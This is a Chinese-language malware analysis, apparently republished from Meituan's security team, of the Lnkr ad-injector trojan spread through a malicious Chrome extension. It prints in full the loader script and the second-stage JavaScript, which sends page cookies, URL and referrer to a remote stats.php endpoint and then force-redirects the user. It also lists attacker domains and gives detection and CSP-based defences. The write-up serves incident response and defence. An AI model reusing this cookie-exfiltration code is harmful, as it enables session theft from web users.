本文從黑產攻擊方式、木馬惡意行為、監控及防御方案等角度對Lnkr木馬進行分析,此類木馬影響范圍較廣,攻擊手法多樣,但目前國內相關的資料卻非常稀少,希望本文的實踐經驗和總結能對從事相關安全檢測的同學有所幫助,
一、事件概述
2020年10月,美團安全運營平臺發現流量中存在惡意JavaScript請求,資訊安全部收到告警后立即開始應急處理,通過對網路環境、訪問日志等進行排查,最終鎖定惡意請求由Chrome瀏覽器安裝惡意插件引起,該惡意JavaScript檔案會竊取Cookie并強制用戶跳轉到惡意色情站點、推廣鏈接等,結合美團威脅情報大資料,發現該插件與Lnkr Ad Injector木馬特征吻合,
此類木馬傳播方式多樣,會通過瀏覽器插件、Broken Link Hijacking等方式在頁面中植入惡意代碼,不僅嚴重影響用戶正常訪問還會竊取用戶資料,經追蹤分析發現,多個國內大型互聯網站點(Alexa全球排名前600)被感染,影響上億網民的上網安全,建議各大平臺對自身系統第三方加載源以及內部終端設備進行檢查,避免遭受此類木馬攻擊,
二、溯源程序
2.1 安全運營平臺發出例外告警
Chrome沙箱監測到惡意JavaScript檔案,發出例外告警:
通過告警資訊判斷基本的攻擊行為是:
-
用戶訪問正常頁面;
-
頁面加載外部JavaScript檔案(A):http://s3.amazonaws.com/js-static/18ced489204f8ff908.js;
-
A加載第二個JavaScript檔案(B):http://countsource.cool/18ced489204f8ff908.js;
-
B包含惡意代碼,向遠程域名發送Cookie等敏感資訊,
2.2 分析攻擊路徑
根據告警中涉及的觸發頁面、相關網路環境資訊,排除流量劫持、XSS攻擊等情況,猜測可能的原因為瀏覽器插件或惡意軟體導致,
通過沙箱對問題設備上所有Chrome插件進行分析,發現一個名為Vysor的Chrome插件代碼存在惡意行為,檢測結果如下:
{
"call_window_location": {
"info": "get document.location",
"capture": []
},
"call_document_createElement": {
"info": "call document.createElement, create script element",
"capture": [
"create element elementName:FIELDSET",
"create element elementName:FIELDSET",
"create element elementName:FIELDSET",
"create element elementName:FIELDSET",
"create element elementName:FIELDSET",
"create element elementName:INPUT",
"create element elementName:FIELDSET",
"create element elementName:FIELDSET",
"create element elementName:FIELDSET",
"create element elementName:FIELDSET",
"create element elementName:FIELDSET",
"create element elementName:SCRIPT",
"create element elementName:LINK"
]
},
"call_document_removeChild": {
"info": "call document.removeChild",
"capture": [
"remove element {elementName:fieldset}",
"remove element {elementName:fieldset}",
"remove element {elementName:fieldset}"
]
},
"set_scriptSrcValue": {
"info": "set script src unsafe value",
"capture": [
"//s3.amazonaws.com/js-static/18ced489204f8ff908.js"
]
}
}
可以看到插件代碼創建了script標簽,然后將script標簽的src屬性設定為//s3.amazonaws.com/js-static/18ced489204f8ff908.js,
2.3 插件惡意代碼分析
為了進一步研究該組織木馬的特征,我們對該惡意插件的代碼進行了人工分析,惡意插件的代碼量較大,結構混亂,包含大量干擾代碼,
首先惡意代碼預先設定了許多無明顯意義的字串,用于構造Payload,
這些字串通過下面方法的一系列轉換最終構造出創建script標簽的陳述句 document'createElement',doctype即為創建出來的script物件,
接下來為script物件的src屬性賦值,在addHandler方法中,cl這個引數由elem傳遞過來,其中包含src字串,通過cl[0].split('>').slice(2, 3)拿到關鍵字src,tag是上文的doctype變數也就是script物件,在構造src值這部分,可以看到在常量中有一串一部分很像是base64的字串:
mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'
惡意代碼利用該字串結合其他預設變數進行一系列轉換,最終形成base64后的加載地址PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:
通過createLinkPseudo方法解base64,經過replace后形成惡意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js,
s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是加載下一層的惡意Javascript檔案(//countsource.cool/18ced489204f8ff908.js),代碼如下:
(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;
//countsource.cool/18ced489204f8ff908.js檔案內容為:
(function () {
function initXMLhttp() {
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlhttp;
}
function minAjax(config) {
if (!config.url) {
return;
}
if (!config.type) {
return;
}
if (!config.method) {
config.method = true;
}
if (!config.debugLog) {
config.debugLog = false;
}
var sendString = [],
sendData = config.data;
if (typeof sendData === "string") {
var tmpArr = String.prototype.split.call(sendData, '&');
for (var i = 0, j = tmpArr.length; i < j; i++) {
var datum = tmpArr[i].split('=');
sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
}
} else if (typeof sendData === 'object' && !(sendData instanceof String)) {
for (var k in sendData) {
var datum = sendData[k];
if (Object.prototype.toString.call(datum) == "[object Array]") {
for (var i = 0, j = datum.length; i < j; i++) {
sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
}
} else {
sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
}
}
}
sendString = sendString.join('&');
if (window.XDomainRequest) {
var xmlhttp = new window.XDomainRequest();
xmlhttp.onload = function () {
if (config.success) {
config.success(xmlhttp.responseText);
}
};
xmlhttp.open("POST", config.url);
xmlhttp.send(sendString);
} else {
var xmlhttp = initXMLhttp();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
if (config.success) {
config.success(xmlhttp.responseText, xmlhttp.readyState);
}
} else {}
}
if (config.type == "GET") {
xmlhttp.open("GET", config.url + "?" + sendString, config.method);
xmlhttp.send();
}
if (config.type == "POST") {
xmlhttp.open("POST", config.url, config.method);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(sendString);
}
}
}
dL();
function dL() {
var host = 'http://press.cdncontentdelivery.com/f';
var config = {
url: host + "/stats.php",
type: "POST",
data: {
vbase: document.baseURI,
vhref: location.href,
vref: document.referrer,
k: "Y291bnRzb3VyY2UuY29vbA==",
ck: document.cookie,
t: Math.floor(new Date().getTime() / 1000),
tg: ""
},
success: onSuccessCallback
};
function bl(resp) {
! function (dr) {
function t() {
return !!localStorage && localStorage.getItem(a)
}
function e() {
o(),
parent.top.window.location.href = c
}
function o() {
var t = r + i;
if (localStorage) {
localStorage.setItem(a, t)
}
}
function n() {
if (t()) {
var o = localStorage && localStorage.getItem(a);
r > o && e()
} else e()
}
var a = "MenuIdentifier",
r = Math.floor((new Date).getTime() / 1e3),
c = dr,
i = 86400;
n()
}(resp);
}
function onSuccessCallback(response) {
if (response && response.indexOf('http') > -1) {
bl(response);
}
}
minAjax(config);
}
})();
該檔案是真正實作惡意行為的代碼,這部分代碼沒有經過混淆、加密,也沒有加入其他無意義的代碼干擾分析,可以很清晰地看到其惡意行為:
-
獲取當前頁面Cookie,ck引數;
-
獲取當前頁面Referrer;
-
獲取當前頁面Location;
-
使用XMLHttpRequest將獲取到的資料發送到http://press.cdncontentdelivery.com/f/stats.php;
-
利用onSuccessCallback方法進行跳轉,
至此實作了將Cookie發送到遠端接收地址,后續通過onSuccessCallback回傳內容完成跳轉,完整流程:
2.4 通過已發現的IoC深入排查
通過上述特征,發現大量與Lnkr木馬相關的域名和插件,部分并未出現在已知的威脅情報中,經進一步分析發現,移動終端設備也有觸發惡意請求的情況,
除此之外我們也發現國內多個大型站點在自身參考資源上引入了Lnkr木馬,用戶如果訪問到這些站點,Cookie資訊會被直接發送到遠端,存在極高的安全風險,針對站點自身存在惡意資源的這類情況,極有可能是攻擊者利用Broken Link Hijacking的攻擊手法,對過期域名進行搶注,站點在訪問原有資源時被劫持到惡意資源,
三、總結
3.1 惡意域名
以下列舉了此次檢測發現的惡意域名:
-
mirextpro.com
-
browfileext.com
-
nextextlink.com
-
lisegreen.biz
-
makesure.biz
-
clipsold.com
-
comtakelink.xyz
-
protesidenext.com
-
promfflinkdev.com
-
rayanplug.xyz
-
countsource.cool
-
blancfox.com
-
skipush1.bbn.com.cn
-
donewrork.org
-
loungesrc.net
-
higedev.cool
-
s3.amazonaws.com/cashe-js/
-
s3.amazonaws.com/js-cache/
-
s3.amazonaws.com/jsfile/
-
s3.amazonaws.com/cashe-js/
-
cdngateway.net (接收Cookie域名)
-
sslproviders.net (接收Cookie域名)
-
cdncontentdelivery.com (接收Cookie域名)
3.2 惡意插件
排查到包含Lnkr木馬特征的惡意插件:
部分惡意插件截圖:
四、復盤
Lnkr木馬所造成的危害有哪些?
Lnkr木馬的核心域名之一cdngateway.net在全球域名流量排名8900位,從流量來源角度,通過外部網站跳轉帶來的流量占比總流量的65.48%,可見其攻擊范圍極廣,受其影響的應用、用戶數量也是非常龐大的,
此類木馬對外部用戶和內部員工訪問同時具有嚴重危害,
在外部用戶方面,如果企業沒有嚴格控制系統第三方資源加載,黑產利用Broken Link Hijacking的攻擊手法,致使業務系統加載資源時被劫持植入惡意代碼,將嚴重影響用戶體驗、資訊安全和企業形象,
從內部員工角度,傳統殺軟、EDR等終端安全設備并不能很好地識別出此類惡意插件,攻擊者通過傳播惡意瀏覽器插件控制員工瀏覽器加載遠程惡意資源,不僅僅可以用于廣告注入,相較于針對瀏覽器的其他攻擊方式,可以達到更穩定,觸發面更廣的敏感資訊竊取、內網探測等,在CSP歷史阻斷的惡意請求中,我們也發現除竊取Cookie資訊外,也存在惡意代碼竊取頁面文本資訊的情況,這些文本資訊在企業內部平臺中,極有可能包含大量用戶,訂單等敏感資訊,
如何發現此類惡意木馬植入?
針對惡意瀏覽器插件,在檢測方面對其代碼做靜態分析成本比較大,觸發惡意請求的Payload都是通過大量編碼轉換、拼接、正則匹配等構造而成、且經過了很多沒有實際意義的方法,在動態分析方面,由于Chrome插件代碼會呼叫Chrome后臺API,在常規沙箱環境中可能會出現無法呼叫API而中途報錯退出,分析中還發現,很多惡意行為需要觸發特定事件才能進入到構造惡意Payload流程,如觸發chrome.tabs.onUpdated等,
對于瀏覽器插件安全,可以通過以下方式進行檢測及防護:
-
禁止安裝未在Chrome應用商店上線的插件(公司內部開發的插件除外);
-
對插件manfiest.json檔案進行輕量級的排查,manfiest.json檔案中申請權限相對敏感,如Cookie、tabs、webRequest等等;
-
利用內容安全策略(CSP)對應用頁面發起的請求進行攔截或監控,結合靜態與動態分析技術,判斷JavaScript檔案行為;
-
利用瀏覽器沙箱與EDR,定期對瀏覽器插件進行掃描;
-
構建網路層的檢測能力,發現有惡意請求及時應急處理,
對于業務系統自身是否加載惡意資源方面:
-
嚴格控制系統加載的第三方資源;
-
通過內容安全策略(CSP)對頁面觸發的請求進行攔截或監控,
總結
黑產組織利用此類木馬進行惡意引流、竊取用戶資訊等,給用戶訪問帶來安全風險,也危害到企業自身形象,在HTTPS場景下,雖然排除了鏈路上用戶訪問被劫持的風險,但用戶端訪問環境安全性不定,為確保用戶獲取的資訊可靠,沒有被篡改,仍然需要進一步加強防護,希望本文能給大家帶來一些幫助或者啟發,
---------- END ----------
招聘資訊
美團安全團隊正在努力打造語言虛擬機—基礎服務—上層應用的縱深應用安全體系,急需對研發安全感興趣的同學加入!歡迎投遞簡歷至sunny.fang@meituan.com(郵件主題請注明:研發安全專家-城市-美團SRC)
也許你還想看
| 互聯網公司資料安全保護新探索
| 前端安全系列之二:如何防止CSRF攻擊?
| 互聯網企業:如何建設資料安全體系?
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/242334.html
標籤:AI
